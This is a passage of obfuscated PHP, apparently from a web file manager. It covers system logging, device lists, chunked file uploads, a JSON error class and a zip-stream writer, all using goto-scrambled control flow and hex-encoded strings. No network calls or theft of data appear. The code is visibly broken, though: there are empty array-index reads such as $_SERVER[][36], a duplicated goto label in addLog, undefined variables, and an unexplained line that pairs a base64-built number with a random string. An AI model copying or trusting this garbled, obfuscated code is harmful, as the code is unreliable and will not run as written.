Task::get($_SERVER[ֹ][2348] . $Dز™); } private function removeByFileID($c = array()) { goto A; FӤı: foreach ($C as $bŖ) { Model($c[378])->removeNow($bŖ, !1); } goto fƼ; Eܜ: $C = Model($c[1104])->where($C琑)->field($c[365])->select(); if (!$C) { return; } $C = array_to_keyvalue($C, $c[33], $c[365]); goto FӤı; A: $c =& $_SERVER[ֹ]; if (empty($c)) { return; } $C琑 = array($c[415] => array($c[7], $c)); goto Eܜ; fƼ: } private function removeShareItems($dö) { goto Fϔ; Fϔ: $c٫ =& $_SERVER[ֹ]; $aì = "\173\x69\x6f\x3a{$dö}\x7d\57"; $D΃Π = array($c٫[365] => 0, $c٫[1012] => array($c٫[748], "{$aì}\x25")); goto Eԧ; f: Model($c٫[532])->remove($Dӣ); goto A֔; Eԧ: $A = Model($c٫[2056])->where($D΃Π)->field($c٫[437])->select(); if (empty($A)) { return; } $Dӣ = array_to_keyvalue($A, $c٫[33], $c٫[437]); goto f; A֔: } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\x65\155\56\114\151\x67\150\x74\x41\x70\160"; public $modelType = "\123\x79\163\x74\145\x6d\117\160\164\151\x6f\156"; public $field = array("\x6e\141\155\x65", "\x67\162\157\x75\160", "\144\145\163\x63", "\143\157\x6e\x74\x65\x6e\x74"); public function listData($CŠ = false, $B = "\x6d\157\x64\151\146\x79\124\x69\155\x65", $aܮ = true) { return parent::listData($CŠ, $B, $aܮ); } public function remove($Eǎ) { $a֍м = $this->findByName($Eǎ); if (!$a֍м) { return !1; } return parent::remove($a֍м[$_SERVER[ֹ][363]]); } public function add($EȒ) { if ($this->findByName($EȒ[$_SERVER[ֹ][28]])) { return !1; } return parent::insert($EȒ); } public function update($dȱ, $E) { $F舘ʯ =& $_SERVER[ֹ]; $bڐՃ = $this->findByName($dȱ); $A책 = $this->findByName($E[$F舘ʯ[28]]); if (!$bڐՃ || $A책 && $A책[$F舘ʯ[363]] != $bڐՃ[$F舘ʯ[363]]) { return !1; } return parent::update($bڐՃ[$F舘ʯ[363]], $E); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\163\x74\x65\155\137\154\x6f\147"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\x54\151\x6d\x65", "\x74\x69\x6d\145", "\x69\156\163\145\162\164", "\146\165\156\x63\x74\151\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->allTypeList(); } public function allTypeList() { $B⪒ =& $_SERVER[ֹ]; return array($B⪒[2352] => LNG($B⪒[2353]), $B⪒[2354] => LNG($B⪒[2355]), $B⪒[2019] => LNG($B⪒[2356]), $B⪒[2357] => LNG($B⪒[2358]), $B⪒[2359] => LNG($B⪒[2360]), $B⪒[2361] => LNG($B⪒[2362]), $B⪒[2363] => LNG($B⪒[2364]), $B⪒[2365] => LNG($B⪒[2366]), $B⪒[2050] => LNG($B⪒[2367]), $B⪒[2051] => LNG($B⪒[2368]), $B⪒[2369] => LNG($B⪒[2370]), $B⪒[2371] => LNG($B⪒[2372]), $B⪒[2373] => LNG($B⪒[2374]), $B⪒[2375] => LNG($B⪒[2376]), $B⪒[2048] => LNG($B⪒[2377]), $B⪒[2054] => LNG($B⪒[2378]), $B⪒[2379] => LNG($B⪒[2380]), $B⪒[2381] => LNG($B⪒[2382]), $B⪒[2383] => LNG($B⪒[2384]), $B⪒[2385] => LNG($B⪒[2386]), $B⪒[2057] => LNG($B⪒[2387]), $B⪒[2058] => LNG($B⪒[2388]), $B⪒[2389] => LNG($B⪒[2390]), $B⪒[2391] => LNG($B⪒[2392]), $B⪒[2393] => LNG($B⪒[2394]), $B⪒[2395] => LNG($B⪒[2396]), $B⪒[2397] => LNG($B⪒[2398]), $B⪒[2052] => LNG($B⪒[2399]), $B⪒[2400] => LNG($B⪒[2401]), $B⪒[2402] => LNG($B⪒[2403]), $B⪒[2404] => LNG($B⪒[2404]), $B⪒[2405] => LNG($B⪒[2023]), $B⪒[2406] => LNG($B⪒[2407]), $B⪒[2408] => LNG($B⪒[2409]), $B⪒[2410] => LNG($B⪒[2411]), $B⪒[2412] => LNG($B⪒[2413]), $B⪒[2414] => LNG($B⪒[2415]), $B⪒[2416] => LNG($B⪒[2416]), $B⪒[2417] => LNG($B⪒[2418]), $B⪒[2419] => LNG($B⪒[2420]), $B⪒[2421] => LNG($B⪒[2422]), $B⪒[2423] => LNG($B⪒[2424]), $B⪒[2425] => LNG($B⪒[2426]), $B⪒[2427] => LNG($B⪒[2428])); } private function typeFile() { $dܧ =& $_SERVER[ֹ]; $dۭ = array($dܧ[2054] => array($dܧ[2055]), $dܧ[2373] => array($dܧ[2429]), $dܧ[2375] => array($dܧ[2430]), $dܧ[2048] => array($dܧ[2049]), $dܧ[2381] => array(), $dܧ[2383] => array(), $dܧ[2385] => array(), $dܧ[2057] => array($dܧ[2059]), $dܧ[2058] => array($dܧ[2059]), $dܧ[2389] => array($dܧ[2431]), $dܧ[2391] => array($dܧ[2431]), $dܧ[2393] => array($dܧ[2432]), $dܧ[2379] => array($dܧ[2433]), $dܧ[2395] => array($dܧ[2434]), $dܧ[2397] => array($dܧ[2435]), $dܧ[2052] => array($dܧ[2053])); return $dۭ; } private function typeAll() { goto DѢ; FӘ: foreach ($F as $bե㭦 => $C) { $d[$C[0]] = $d[$bե㭦]; } $d[$bתٰ[2059]] = LNG($bתٰ[2436]); $d[$bתٰ[2431]] = LNG($bתٰ[2437]); goto Cǣ; Cǣ: return $d; goto e˰; DѢ: $bתٰ =& $_SERVER[ֹ]; $d = $this->typeList; $F = array_filter($this->typeFile()); goto FӘ; e˰: } public function addLog($d跶, $a = array()) { goto E; E: $Eߏ谈 =& $_SERVER[ֹ]; if (!isset($this->typeList[$d跶])) { return; } $fׇ = USER_ID ? USER_ID : (isset($a[$Eߏ谈[1415]]) ? $a[$Eߏ谈[1415]] : 0); goto E; fų: parent::add($a); goto Bձ; E: $Cб = get_client_ip(); if (!$a || strlen(json_encode($a)) >= 1024) { $a = array($Eߏ谈[2438] => $Cб); } else { if (is_array($a)) { $a[$Eߏ谈[2438]] = $Cб; } else { $a = array($Eߏ谈[1028] => $a, $Eߏ谈[2438] => $Cб); } } $a = array($Eߏ谈[1405] => Session::sign(), $Eߏ谈[1406] => $fׇ, $Eߏ谈[29] => $d跶, $Eߏ谈[1408] => json_encode($a)); goto fų; Bձ: } public function remove($Cَ) { $this->where(array($_SERVER[ֹ][381] => $Cَ))->delete(); } private function _makeOrder($D = '') { goto aړ; F鬕: return $this->order($D); goto eϘ; aړ: $d =& $_SERVER[ֹ]; $Bό = $d[183]; $B۶ = array($d[398] => $d[399], $d[400] => $d[401]); goto bĘڵ; bĘڵ: $f̎Ҹ = Input::get($d[404], $d[7], $d[2218], array($d[2155], $d[400])); $f̎Ҹ = $B۶[$f̎Ҹ]; $D = $D . "{$Bό}\x20{$f̎Ҹ}"; goto F鬕; eϘ: } public function get($FЎє = '') { goto c捨; DϊNJ: if ($FЎє[$Bԏ̢[1415]]) { $eν[$Bԏ̢[1415]] = $FЎє[$Bԏ̢[1415]]; } if (isset($FЎє[$Bԏ̢[699]])) { $Cʱ = $FЎє[$Bԏ̢[699]]; $a = isset($FЎє[$Bԏ̢[700]]) ? $FЎє[$Bԏ̢[700]] : time(); $eν[$Bԏ̢[183]] = array($Bԏ̢[317], array($Cʱ, $a)); } if ($FЎє[$Bԏ̢[29]]) { $b‘ = explode($Bԏ̢[47], $FЎє[$Bԏ̢[29]]); $bЂ = $this->typeFile(); $aѱ = array(); foreach ($b‘ as $d) { $aѱ[] = $d; if (isset($bЂ[$d])) { $aѱ = array_merge($aѱ, $bЂ[$d]); } } $aѱ = array_unique($aѱ); if ($aѱ) { $eν[$Bԏ̢[29]] = array($Bԏ̢[7], $aѱ); } } goto c; c: if (!empty($FЎє[$Bԏ̢[2438]])) { $eν[$Bԏ̢[401]] = array($Bԏ̢[748], "\x25{$FЎє[$Bԏ̢[2438]]}\45"); } $Eű = $this->_makeOrder()->where($eν)->selectPage(); if (empty($Eű[$Bԏ̢[350]])) { show_json(array(), !0, $Eű[$Bԏ̢[347]]); } goto e; c捨: $Bԏ̢ =& $_SERVER[ֹ]; if (!$FЎє) { show_json(array()); } $eν = array(); goto DϊNJ; e: $Eű[$Bԏ̢[350]] = $this->logList($Eű[$Bԏ̢[350]]); return $Eű; goto fݙ勓; fݙ勓: } private function ipAddress(&$f) { $C =& $_SERVER[ֹ]; if (!empty($f[$C[2438]])) { $Cք = IpLocation::get($f[$C[2438]]); if ($Cք == $C[2439]) { $Cք = $C[2440]; } } else { $Cք = LNG($C[2441]); } $f[$C[2442]] = $Cք; } private function descZipDownload($F, &$Eؕ) { $D =& $_SERVER[ֹ]; if (!isset($F[$D[2443]])) { return; } $e = json_decode($F[$D[2443]], !0); foreach ($e as $fÍ) { if (!IO::init($fÍ[$D[75]])) { continue; } if (!($b = IO::infoFull($fÍ[$D[75]]))) { continue; } $F[$D[75]] = $fÍ[$D[75]]; $Eؕ[] = $F[$D[365]] = $b[$D[365]]; $Eؕ[] = $F[$D[2259]] = $b[$D[457]]; break; } return $F; } private function getSourceList(&$D烘̢) { $eņ =& $_SERVER[ֹ]; $f͒ = array(); foreach ($D烘̢ as $Aֺ => $b) { goto dÖ; f: $f͒[] = $Aߚ[$eņ[365]]; $f͒[] = $Aߚ[$eņ[2259]]; if ($Aߚ[$eņ[29]] == $eņ[488]) { $f͒[] = $Aߚ[$eņ[401]][$eņ[1000]]; $f͒[] = $Aߚ[$eņ[401]][$eņ[1001]]; } goto Cƌ; dÖ: $Aߚ = json_decode($b[$eņ[401]], !0); if ($b[$eņ[29]] == $eņ[2051]) { $Aߚ = $this->descZipDownload($Aߚ, $f͒); $D烘̢[$Aֺ][$eņ[401]] = json_encode($Aߚ); continue; } if (strpos($b[$eņ[29]], $eņ[2260]) !== 0) { goto Cλ̋; A: $f͒[] = $Aߚ[$eņ[365]] = $BךӋ[$eņ[365]]; $f͒[] = $Aߚ[$eņ[2259]] = $BךӋ[$eņ[457]]; $D烘̢[$Aֺ][$eņ[401]] = json_encode($Aߚ); goto Cۇ; Cλ̋: if (!isset($Aߚ[$eņ[75]]) || strpos($b[$eņ[29]], $eņ[2444]) !== 0) { continue; } if (!IO::init($Aߚ[$eņ[75]])) { continue; } if (!($BךӋ = IO::infoFull($Aߚ[$eņ[75]]))) { continue; } goto A; Cۇ: continue; goto fӝ; fӝ: } goto f; Cƌ: if ($Aߚ[$eņ[29]] == $eņ[2267]) { $f͒[] = $Aߚ[$eņ[401]][$eņ[365]]; } goto CDŽØ; CDŽØ: } if (!$f͒) { return array(); } return Model($eņ[749])->sourceListInfo($f͒, !0); } private function logList($Bᇐ) { goto E퟊; c: $A፜ = array(); foreach ($Bᇐ as $B => $FԎ) { goto d軄; Aϱ: unset($FԎ[$a펧[2447]]); $eѻ[] = $FԎ; goto Cޥ; c: $this->ipAddress($FԎ); if (strpos($F㔲, $a펧[2260]) === 0 || isset($e[$a펧[2259]])) { goto D; B: if ($e[$a펧[29]] == $a펧[2267]) { $e[$a펧[401]][$a펧[365]] = $cܶ[$e[$a펧[401]][$a펧[365]]]; } if ($e[$a펧[29]] == $a펧[2046]) { $e[$a펧[2272]] = $e[$a펧[387]]; $e[$a펧[2259]] = $e[$a펧[2272]][$a펧[365]]; $e[$a펧[387]] = !1; $e[$a펧[365]] = $a펧[33]; } if ($e[$a펧[387]] && $e[$a펧[387]][$a펧[367]] == $a펧[1074]) { $A፜[] = $FԎ[$a펧[363]]; unset($Bᇐ[$B]); continue; } goto Bގ; Bގ: if ($e[$a펧[2272]] && $e[$a펧[2272]][$a펧[367]] == $a펧[1074]) { $A፜[] = $FԎ[$a펧[363]]; unset($Bᇐ[$B]); continue; } goto eɪ; D: $e[$a펧[387]] = $cܶ[$e[$a펧[365]]]; $e[$a펧[2272]] = $cܶ[$e[$a펧[2259]]]; if ($e[$a펧[29]] == $a펧[488]) { $e[$a펧[401]][$a펧[1000]] = $cܶ[$e[$a펧[401]][$a펧[1000]]]; $e[$a펧[401]][$a펧[1001]] = $cܶ[$e[$a펧[401]][$a펧[1001]]]; } goto B; eɪ: } $FԎ[$a펧[401]] = $e; goto Aϱ; b׻: $FԎ[$a펧[2217]] = $CNJ; $e = json_decode($FԎ[$a펧[401]], !0); $FԎ[$a펧[2438]] = isset($e[$a펧[2438]]) ? $e[$a펧[2438]] : $a펧[33]; goto c; d軄: $F㔲 = $FԎ[$a펧[29]]; $CNJ = isset($cՐ[$FԎ[$a펧[1415]]]) ? $cՐ[$FԎ[$a펧[1415]]] : !1; $Ě = strpos($F㔲, $a펧[2445]) === 0 ? LNG($a펧[2446]) : LNG($a펧[2441]); goto aά; aά: $FԎ[$a펧[28]] = isset($CNJ[$a펧[28]]) ? $CNJ[$a펧[28]] : LNG($a펧[2441]); $FԎ[$a펧[2307]] = isset($CNJ[$a펧[2307]]) ? $CNJ[$a펧[2307]] : $a펧[33]; $FԎ[$a펧[1323]] = isset($e昞[$F㔲]) ? $e昞[$F㔲] : $Ě; goto b׻; Cޥ: } $this->clearSystemPathLog($A፜); goto d; d: return $eѻ; goto F; fЎࠓ: $cܶ = $this->getSourceList($Bᇐ); $e昞 = $this->typeAll(); $eѻ = array(); goto c; E퟊: $a펧 =& $_SERVER[ֹ]; $cɟє = array_to_keyvalue($Bᇐ, $a펧[33], $a펧[1415]); $cՐ = Model($a펧[473])->userListInfo(array_unique($cɟє)); goto fЎࠓ; F: } private function clearSystemPathLog($F͞) { $f’ =& $_SERVER[ֹ]; if (count($F͞) == 0) { return; } $Dɦ = array($f’[363] => array($f’[7], array_unique($F͞))); $this->where($Dɦ)->delete(); } public function deviceList($D䥥, $Bί = 0) { $b̋ =& $_SERVER[ֹ]; $Aü = array($b̋[1415] => $D䥥, $b̋[183] => array($b̋[924], $Bί), $b̋[29] => $b̋[2019]); $F = array(); $b⠃ = $this->field($b̋[2448])->where($Aü)->order($b̋[2270])->limit(50)->select(); foreach ($b⠃ as $F => $c拑) { goto B; fʽ̴֭: unset($eŢ[$b̋[2438]]); $F𓷛 = $this->deviceType($eŢ[$b̋[2261]]); if (isset($F[$F𓷛])) { continue; } goto Aܽ; B: if ($F > 0 && abs($c拑[$b̋[183]] - $b⠃[$F - 1][$b̋[183]]) < 5) { continue; } $eŢ = json_decode($c拑[$b̋[401]], !0); $c拑[$b̋[2438]] = isset($eŢ[$b̋[2438]]) ? $eŢ[$b̋[2438]] : $b̋[33]; goto fʽ̴֭; Aܽ: $this->ipAddress($c拑); $c拑[$b̋[401]] = $eŢ; $F[$F𓷛] = $c拑; goto Fʃە; Fʃە: } return array_values($F); } public function deviceType($F) { return $F; } } goto cѹ; dĻ: function beforeShutdown() { Hook::trigger($_SERVER[][36]); } $_SERVER[$_SERVER[][37]] = BASIC_PATH; $_SERVER[$_SERVER[][38]] = LIB_DIR; goto D߻; B⨟㔃: $_SERVER[$_SERVER[][52]] = ("\x39\x35\x33\x36".base64_decode('ODA='))+0;$_GwJR="iXk4Xavcyen39dGGUYDW4zASQ8nqHbKWmcwUmpA5BXI4YMuRyCbDQz67HE3eguYK3";; stream_wrapper_register($_SERVER[][53], $_SERVER[][54]); class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($c댊, $C㕼) { $Aՠ =& $_SERVER[ֹ]; if (isset(self::$_methodList[$c댊])) { return @call_user_func_array(self::$_methodList[$c댊], $C㕼); } else { if (method_exists($this, $c댊)) { return call_user_func_array(array($this, $c댊), $C㕼); } else { think_exception(__CLASS__ . $Aՠ[4] . $c댊 . $Aՠ[5]); } } } public static function __callStatic($Dޜ, $b) { if (isset(self::$_methodListStatic[$Dޜ])) { return call_user_func_array(self::$_methodListStatic[$Dޜ], $b); } else { if (method_exists(self, $Dޜ)) { return call_user_func_array(array(self, $Dޜ), $b); } else { show_json("{$Dޜ}\50\x29\40\x6e\157\x74\40\145\170\151\163\164\73", !1); } } } public static function addMethod($A߲ȶ, $a߫񚝅) { self::$_methodList[$A߲ȶ] = $a߫񚝅; } public static function addMethodStatic($F, $DŢ) { self::$_methodListStatic[$F] = $DŢ; } } goto C; b똻: if (class_exists($_SERVER[ֹ][1941])) { class Services_JSON_Error extends PEAR_Error { function __construct($a = "\165\156\153\x6e\157\167\x6e\x20\x65\162\x72\x6f\x72", $Dܐ = null, $C̈ = null, $DЇ = null, $B = null) { parent::PEAR_Error($a, $Dܐ, $C̈, $DЇ, $B); } } } else { class Services_JSON_Error { function __construct($B = "\165\x6e\x6b\156\x6f\x77\x6e\x20\x65\x72\162\157\x72", $F鐩 = null, $C = null, $fԮ = null, $e = null) { } } } class Uploader { public $fileName; public $uploadFile; public $tempFile; public function __construct() { goto Cբ; Cޅ: if (!empty($_FILES)) { $dͶċÐ = $_FILES[$b[163]]; $this->uploadFile = $dͶċÐ[$b[1942]]; if (!$this->uploadFile && $dͶċÐ[$b[1205]] > 0) { show_json($this->errorInfo($dͶċÐ[$b[1205]]), !1); } } else { if (isset($in[$b[382]])) { $this->uploadFile = isset($in[$b[1943]]) ? $b[1944] : $b[1789]; } } $this->fileName = self::fileName(); $this->statusData = !1; goto C鶈; C鶈: $this->checkSize(); $this->tempPathInit(); goto f䓮; Cբ: $b =& $_SERVER[ֹ]; global $in; $this->in =& $in; goto Cޅ; f䓮: } public function upload() { goto Cۧ; A蕔: CacheLock::unlock($this->tempFile); return $this->tempFile; goto c; f௝: $BӤ = $F * $B􈶌; $C軯 = @fopen($this->tempFile, $b釧[1952]); fseek($C軯, $BӤ); goto d; Cۧ: $b釧 =& $_SERVER[ֹ]; $F = isset($this->in[$b釧[1945]]) ? intval($this->in[$b釧[1945]]) : 0; $fǤ = isset($this->in[$b釧[1946]]) ? intval($this->in[$b釧[1946]]) : 1; goto C; bꎷП: CacheLock::lock($this->tempFile, 20); $EȪ = $this->statusGet(); $this->initFileTemp(); goto Bݙ; Dįإ: @unlink($bٕ); if (!$b) { $this->showJson($b釧[1953] . $F, !1); } $EȪ[$b釧[1954]] = $fǤ; goto E; d: $b = $this->writeTo($bٕ, $C軯, $this->tempFile); $dɓɨ = IO::hashSimple($bٕ); $f = IO::size($bٕ); goto Dįإ; C: $F = $this->tempFile . $b釧[1947] . $F; $f = isset($this->in[$b釧[516]]) ? intval($this->in[$b釧[516]]) : 0; $B􈶌 = isset($this->in[$b釧[1948]]) ? intval($this->in[$b釧[1948]]) : 0; goto a숈; E: $EȪ[$b釧[1955]][$b釧[1956] . $F] = array($b釧[1957] => $BӤ, $b釧[1030] => $F, $b釧[77] => $f, $b釧[160] => $dɓɨ); $this->statusSet($EȪ); if (count($EȪ[$b釧[1955]]) != $EȪ[$b釧[1954]]) { $this->showJson($b釧[1958] . $F, !0); } goto cхٽ; cхٽ: ignore_timeout(); if (!$this->checkChunkHash($EȪ)) { $this->showJson($b釧[1959], !1); } $this->statusSet(!1); goto A蕔; a숈: if ($fǤ > 1 && $B􈶌 <= 0) { show_json($b釧[1949], !1); } if ($B􈶌 > $f) { $fǤ = 1; } if ($fǤ <= 1) { $this->tempFile = $this->tempFile . rand_string(5); $this->statusSet(!1); return $this->moveUploadedFile($this->tempFile); } goto bꎷП; Bݙ: $bٕ = $this->moveUploadedFile($F); if ($f > 0 && filesize($bٕ) == 0) { $this->showJson($b釧[1950], !1); } if (!$bٕ) { $this->showJson(LNG($b釧[1951]), !1); } goto f௝; c: } private function checkSize() { $B =& $_SERVER[ֹ]; if (phpBuild64() || $this->in[$B[77]] < PHP_INT_MAX) { return; } show_json(LNG($B[1960]), !1); } private function showJson($Dͧ, $B鯡) { CacheLock::unlock($this->tempFile); if (!$B鯡) { return show_json($Dͧ, $B鯡); } show_json($Dͧ, $B鯡); } public function clearData() { $this->statusSet(!1); if (file_exists($this->tempFile)) { @unlink($this->tempFile); return; } } private function tempPathInit() { goto aɇ; aɇ: $dͺ =& $_SERVER[ֹ]; $D = TEMP_FILES; @mk_dir($D); goto cΨ; aѐҴ: $this->tempFile = $D . $dͺ[1963] . md5($fÔ . $this->in[$dͺ[1507]]); goto eȽ; cΨ: touch($D . $dͺ[1961]); $fÔ = isset($this->in[$dͺ[1962]]) ? $this->in[$dͺ[1962]] : !1; if (strlen($fÔ) < 30) { $fÔ = md5(USER_ID . $this->in[$dͺ[75]] . $this->fileName . $this->in[$dͺ[77]]); } goto aѐҴ; eȽ: } private function moveUploadedFile($D⟉ֈ) { $fڎ㟂 =& $_SERVER[ֹ]; $dŮ = $this->uploadFile; if ($dŮ == $fڎ㟂[1964]) { @file_put_contents($D⟉ֈ, base64_decode($_REQUEST[$fڎ㟂[1965]])); } else { if ($dŮ == $fڎ㟂[1789]) { $e = @fopen($D⟉ֈ, $fڎ㟂[1497]); $this->writeTo($dŮ, $e, $D⟉ֈ); } else { if (!move_uploaded_file($dŮ, $D⟉ֈ)) { return !1; } } } return $D⟉ֈ; } private function writeTo($eף, $dЃ, $e􊸳) { goto FΩ㆞; e: return !0; goto aܑ; FΩ㆞: $Bܐ =& $_SERVER[ֹ]; $b = $Bܐ[1966] . $e􊸳; $cܔ = CacheLock::lock($b, 1); goto Bې; B: fclose($A番); fclose($dЃ); CacheLock::unlock($b); goto e; Bې: $A番 = @fopen($eף, $Bܐ[1496]); if (!$A番 || !$dЃ || !$cܔ) { CacheLock::unlock($b); return !1; } while (!feof($A番)) { fwrite($dЃ, fread($A番, 1024 * 200)); } goto B; aܑ: } private function statusGet() { goto A; A: $Eũ =& $_SERVER[ֹ]; if (is_array($this->statusData)) { return $this->statusData; } $F禍 = $this->tempFile . $Eũ[1967]; goto E믧Ě; F䊅ͭ: if (!$this->statusData) { $dſæď = array($Eũ[28] => $this->fileName, $Eũ[1954] => 0, $Eũ[1955] => array()); $this->statusSet($dſæď); } return $this->statusData; goto a; E믧Ě: $e = !1; if (file_exists($F禍)) { $e = @file_get_contents($F禍); } if ($e) { $this->statusData = json_decode($e, !0); } goto F䊅ͭ; a: } public function statusSet($Fإ) { $c޴ = $this->tempFile . $_SERVER[ֹ][1967]; if (!$Fإ) { if (file_exists($c޴)) { @unlink($c޴); } return !0; } $this->statusData = $Fإ; return file_put_contents($c޴, json_encode($Fإ)); } private function initFileTemp() { $C =& $_SERVER[ֹ]; if (file_exists($this->tempFile)) { return; } $cܱВ = fopen($this->tempFile, $C[1968]); fseek($cܱВ, $this->in[$C[77]] - 1, SEEK_SET); fwrite($cܱВ, $C[464]); fclose($cܱВ); } public function checkChunk() { goto a̅螜; B: return $d㓷; goto a; a̅螜: $bň̴ =& $_SERVER[ֹ]; $d㓷 = array(); CacheLock::lock($this->tempFile); goto f; f: $C = $this->statusGet(); CacheLock::unlock($this->tempFile); foreach ($C[$bň̴[1955]] as $dԍ) { $Dب = $dԍ[$bň̴[160]]; if ($Dب) { $d㓷[$bň̴[1969] . $dԍ[$bň̴[1030]]] = $Dب; } } goto B; a: } private function checkChunkHash($aǨ) { goto C舑̫; C舑̫: $a =& $_SERVER[ֹ]; if (count($aǨ[$a[1955]]) != $aǨ[$a[1954]]) { return !1; } $F꺚 = _get($this->in, $a[1962]); goto A䙃; bҿ: $bҸӑ = !0; foreach ($aǨ[$a[1955]] as $aԅ) { fseek($dԃ, $aԅ[$a[1957]]); $FŞ = PathDriverStream::hash($dԃ, $aԅ[$a[77]]); if ($aԅ[$a[160]] != $FŞ) { $bҸӑ = !1; break; } } fclose($dԃ); goto cNj; cNj: return $bҸӑ; goto f; A䙃: $Dֳ = _get($this->in, $a[1970]); if (strlen($Dֳ) == 32 && IO::hashSimple($this->tempFile) == $F꺚 && IO::hashMd5($this->tempFile) == $Dֳ) { return !0; } $dԃ = fopen($this->tempFile, $a[1156]); goto bҿ; f: } public static function fileName() { goto DijӍ; DijӍ: $cϽΚ =& $_SERVER[ֹ]; global $in; $dӝܭ = isset($in[$cϽΚ[28]]) ? $in[$cϽΚ[28]] : $cϽΚ[33]; goto B; fɕ: if ($dخ == $cϽΚ[1972] || $dخ == $cϽΚ[1973]) { $dӝܭ = date($cϽΚ[687], $Fۜ) . $cϽΚ[70] . $in[$cϽΚ[77]] . $cϽΚ[1604]; } else { if ($dخ == $cϽΚ[1974]) { $dӝܭ = date($cϽΚ[687], $Fۜ) . $cϽΚ[70] . $in[$cϽΚ[77]] . $cϽΚ[1975]; } } return $dӝܭ; goto c౫; B: if (!empty($_FILES)) { $dӝܭ = $dӝܭ ? $dӝܭ : $_FILES[$cϽΚ[163]][$cϽΚ[382]]; } $dӝܭ = str_replace(array($cϽΚ[93], $cϽΚ[8]), array($cϽΚ[8], $cϽΚ[91]), trim($dӝܭ)); if (!is_wap()) { return $dӝܭ; } goto cސ; cސ: $Fۜ = strtotime($in[$cϽΚ[1971]]); $Fۜ = $Fۜ ? $Fۜ : time(); $dخ = strtolower($dӝܭ); goto fɕ; c౫: } private function errorInfo($E貄) { $A؃ =& $_SERVER[ֹ]; $B޺ = array($A؃[1976], $A؃[1977], $A؃[1978], $A؃[1979], $A؃[1980], $A؃[1981], $A؃[1982], $A؃[1983]); return $E貄 . $A؃[4] . $B޺[$E貄]; } } class ZipMake { const VERSION = "\60\56\x32\x2e\x30"; const ZIP_VERSION = 10; const ZIP_VERSION_64 = 45; const METHOD_STORE = 0; const FILE_HEADER_SIGNATURE = 67324752; const CDR_FILE_SIGNATURE = 33639248; const CDR_EOF_SIGNATURE = 101010256; const DATA_DESCRIPTOR_SIGNATURE = 134695760; const ZIP64_CDR_EOF_SIGNATURE = 101075792; const ZIP64_CDR_LOCATOR_SIGNATURE = 117853008; public $files = array(); public $cdrOffset = 0; public $ofs = 0; protected $needHeaders; protected $outputName; public function __construct($F = null) { $E =& $_SERVER[ֹ]; $this->outputStream = fopen($E[1984], $E[1212]); $this->outputName = $F; $this->needHeaders = !0; } public function addFile($D, $fɢņ) { goto Aǃ; dɭ: $bҼ = $this->addFileHeader($D, $d); $b̮ = $BϋЅ = filesize($fɢņ); $E卬 = fopen($fɢņ, $d˼ȏ[1985]); goto F٬; F٬: while (!feof($E卬)) { $c﫴 = fread($E卬, 1048576); $this->send($c﫴); } fclose($E卬); $b = hexdec(hash_file($d˼ȏ[1986], $fɢņ)); goto dȬ; Aǃ: $d˼ȏ =& $_SERVER[ֹ]; $D = $this->filterFilename($D); $d = static::METHOD_STORE; goto dɭ; dȬ: $this->addFileFooter($D, $d, $b, $b̮, $BϋЅ, $bҼ); goto E; E: } public function addFileFromStream($E, $cϛۡ) { goto cˍ׊; D: $CϏ = hash_init($_SERVER[ֹ][1986]); while (!feof($cϛۡ)) { $DĪ̖ = fread($cϛۡ, 1048576); hash_update($CϏ, $DĪ̖); $this->send($DĪ̖); } $f = hexdec(hash_final($CϏ)); goto a˲ә; cˍ׊: $E = $this->filterFilename($E); $FԢ = static::METHOD_STORE; $F݅ = $this->addFileHeader($E, $FԢ); goto e˓΋; a˲ә: $this->addFileFooter($E, $FԢ, $f, $b, $Bڱ, $F݅); goto Ȧ; e˓΋: fseek($cϛۡ, 0, SEEK_END); $b = $Bڱ = ftell($cϛۡ); rewind($cϛۡ); goto D; Ȧ: } public function finish() { foreach ($this->files as $e) { $this->addCdrFile($e); } $this->addCdr64Eof(); $this->addCdr64Locator(); $this->addCdrEof(); $this->clear(); } protected function addFileHeader($DÌ, $F鏠) { goto e; E: return strlen($e) + $Bʔ + strlen($Cя); goto cԖ; e: $fÈ =& $_SERVER[ֹ]; $DÌ = preg_replace($fÈ[1987], $fÈ[33], $DÌ); $Bʔ = strlen($DÌ); goto a״ذ; a״ذ: $a•ș = $this->dosTime(time()); $bʰ = array(array($fÈ[1988], static::FILE_HEADER_SIGNATURE), array($fÈ[1989], static::ZIP_VERSION_64), array($fÈ[1989], 8), array($fÈ[1989], $F鏠), array($fÈ[1988], $a•ș), array($fÈ[1988], 0), array($fÈ[1988], 4294967295), array($fÈ[1988], 4294967295), array($fÈ[1989], $Bʔ), array($fÈ[1989], 32)); $c٘ = array(array($fÈ[1989], 1), array($fÈ[1989], 28), array($fÈ[1990], 0), array($fÈ[1990], 0), array($fÈ[1990], 0), array($fÈ[1988], 0)); goto aК; aК: $e = $this->packFields($bʰ); $Cя = $this->packFields($c٘); $this->send($e . $DÌ . $Cя); goto E; cԖ: } protected function addFileFooter($aݬ, $fӆ, $Dƻ, $f◘, $fܳ, $Cԇ׃) { $c匆ӌ =& $_SERVER[ֹ]; $A = array(array($c匆ӌ[1988], static::DATA_DESCRIPTOR_SIGNATURE), array($c匆ӌ[1988], $Dƻ), array($c匆ӌ[1990], $f◘), array($c匆ӌ[1990], $fܳ)); $f͈ = $this->packFields($A); $this->send($f͈); $f݄ = $Cԇ׃ + $f◘ + $bѩ; $this->addToCdr($aݬ, $fӆ, $Dƻ, $f◘, $fܳ, $f݄); } private function addToCdr($Aۂ, $B, $cڳ, $F, $fҞϊ, $EΈ) { $this->files[] = array($Aۂ, $B, $cڳ, $F, $fҞϊ, $this->ofs); $this->ofs += $EΈ; } protected function addCdrFile($B˼) { goto A󶈠ї; dЈ͊: $a֣ⴗ = $this->packFields($aߙ坠); $b퓉 = $this->packFields($fߘ); $F؉ = $a֣ⴗ . $eҚ . $b . $b퓉; goto f; a: $B = $this->dosTime(time()); $aߙ坠 = array(array($a޷Ʈ[1988], static::CDR_FILE_SIGNATURE), array($a޷Ʈ[1989], static::ZIP_VERSION_64), array($a޷Ʈ[1989], static::ZIP_VERSION_64), array($a޷Ʈ[1989], 8), array($a޷Ʈ[1989], $bݷ), array($a޷Ʈ[1988], $B), array($a޷Ʈ[1988], $D츼), array($a޷Ʈ[1988], 4294967295), array($a޷Ʈ[1988], 4294967295), array($a޷Ʈ[1989], strlen($eҚ)), array($a޷Ʈ[1989], 32), 